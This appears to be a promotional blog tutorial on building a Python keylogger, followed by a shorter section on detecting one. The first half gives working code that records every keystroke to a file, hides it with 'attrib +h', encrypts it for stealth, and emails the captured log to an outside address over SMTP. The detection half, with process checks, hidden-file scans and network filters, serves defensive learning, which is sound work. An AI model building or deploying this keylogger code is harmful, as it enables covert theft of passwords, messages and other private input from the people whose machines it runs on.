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“If you don’t understand the threat, you can’t defend against it.”
That’s the hard truth in cybersecurity. And few threats are sneakier—or more dangerous—than a keylogger.

Today, I’m walking you through exactly how I built a keylogger using Python—not for harm, but to teach. You’ll see what makes them tick, how they hide, and more importantly, how to detect and stop them. If you’re a red teamer, blue teamer, or just a curious dev, this guide has everything you need.

🚀 Why Keyloggers Matter (Even if You’re Not a Hacker)

Keyloggers don’t just steal passwords. They capture context—chats, documents, form data, even search terms. And they’re terrifyingly easy to build.

  • 70% of cyberattacks involve some form of credential theft (Verizon DBIR 2023)
  • Over 1,000 keylogger variants are detected monthly by antivirus companies.
  • Most free antivirus software fails to catch custom-built Python keyloggers.

⌨️ Part 1: Building the Keylogger in Python

Let’s get our hands dirty. Here are two primary tools you can use: pynput and keyboard. Both are powerful and deadly simple.

🔹 Option A: Using pynput

Install it first:

pip install pynput

Basic logger using pynput:

from pynput import keyboard

def write_to_file(key):
    key = str(key).replace("'", "")
    with open("log.txt", "a") as file:
        file.write(f"{key} ")

def on_press(key):
    write_to_file(key)

listener = keyboard.Listener(on_press=on_press)
listener.start()
listener.join()

📌 Why it works:
It hooks directly into your OS's input listener. Every keypress is recorded, character by character, and saved.

🔹 Option B: Using keyboard (Windows/Linux only)

Install:

pip install keyboard

Keyboard logger code:

import keyboard

with open("keys.txt", "a") as file:
    while True:
        event = keyboard.read_event()
        if event.event_type == keyboard.KEY_DOWN:
            file.write(event.name + " ")

💡 keyboard is a bit more aggressive—easier to detect but faster and lighter.

📁 Part 2: Saving or Sending the Logs

Once you’ve collected input, you need to do something with it.

💾 Option 1: Save Locally (Hidden or Encrypted)

  • Hidden file (Windows): 
import os
os.system("attrib +h keys.txt")
  • Encrypt the file (for stealth): 
from cryptography.fernet import Fernet

key = Fernet.generate_key()
cipher = Fernet(key)

with open("keys.txt", "rb") as f:
    data = f.read()

encrypted_data = cipher.encrypt(data)

with open("keys_encrypted.txt", "wb") as f:
    f.write(encrypted_data)

📌 Store the key elsewhere—this is crucial if you're simulating real-world scenarios.

📧 Option 2: Email the Data 

import smtplib
from email.mime.text import MIMEText

def send_log_via_email():
    with open("keys.txt", "r") as file:
        content = file.read()

    msg = MIMEText(content)
    msg['Subject'] = 'Keylog Report'
    msg['From'] = '[email protected]'
    msg['To'] = '[email protected]'

    with smtplib.SMTP('smtp.example.com', 587) as server:
        server.starttls()
        server.login('[email protected]', 'yourpassword')
        server.send_message(msg)

🛡️ WARNING: Use dummy credentials in test environments only. Don’t send this data over unsecured channels.

🔒 Part 3: How to Detect a Keylogger (Like a Pro)

Now comes the defense. Here’s what to do right now to spot keyloggers on any machine.

🧠 Quote Block:

Info:
If a keylogger was running on your system right now, you probably wouldn't know. Most users never open their Task Manager, never monitor outbound traffic, and never check for rogue scripts.

🕵️ 1. Monitor Suspicious Python Processes

Check manually:

ps aux | grep python

On Windows, use:

Get-Process | Where-Object {$_.Path -like "*python*"}

Automate with a script:

import psutil

for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
    if 'python' in proc.info['name'].lower():
        print(proc.info)

🗂️ 2. Scan for Hidden or New .txt Files

Use PowerShell:

Get-ChildItem -Recurse -Hidden -Filter *.txt

Or Python:

import os

for root, dirs, files in os.walk("C:/"):
    for name in files:
        if name.endswith(".txt") and os.path.isfile(os.path.join(root, name)):
            print(f"Found: {os.path.join(root, name)}")

🌐 3. Watch Outbound Network Activity

Install Wireshark and apply a filter:

smtp || tcp.port == 587

Or use netstat:

netstat -an | grep ESTABLISHED

Watch for any SMTP or suspicious IP activity.

🔐 4. Lock Down Permissions

  • On macOS:
    Go to System Preferences > Security > Input Monitoring – uncheck unknown apps.

  • On Windows:
    Use Group Policy to deny background tasks without approval.

📘 More Developer Tools and Articles

For deeper Python knowledge, you should absolutely check out:

Python Developer Resources - Made by 0x3d.site

A curated hub for Python developers featuring essential tools, articles, and trending discussions:

Whether you're building tools, learning cybersecurity, or just experimenting with Python, python.0x3d.site should be in your bookmarks.

🧠 Final Thoughts: Be Curious, But Stay Ethical

You’ve now seen exactly how a keylogger is made—and how one could silently capture everything you type. But with that power comes responsibility. Learning how something works is the first step to protecting yourself, your users, and your systems.

🔑 Key takeaways:

  • Python makes it shockingly easy to build basic keyloggers.
  • Detecting them means monitoring process activity, file changes, and network flows.
  • Defense begins with awareness—and good logging habits.

Stay sharp. Stay curious. And use your knowledge to build better, safer systems.

💬 Got questions or want to build more tools in Python?
Visit python.0x3d.site to dive deeper into practical resources built just for you.

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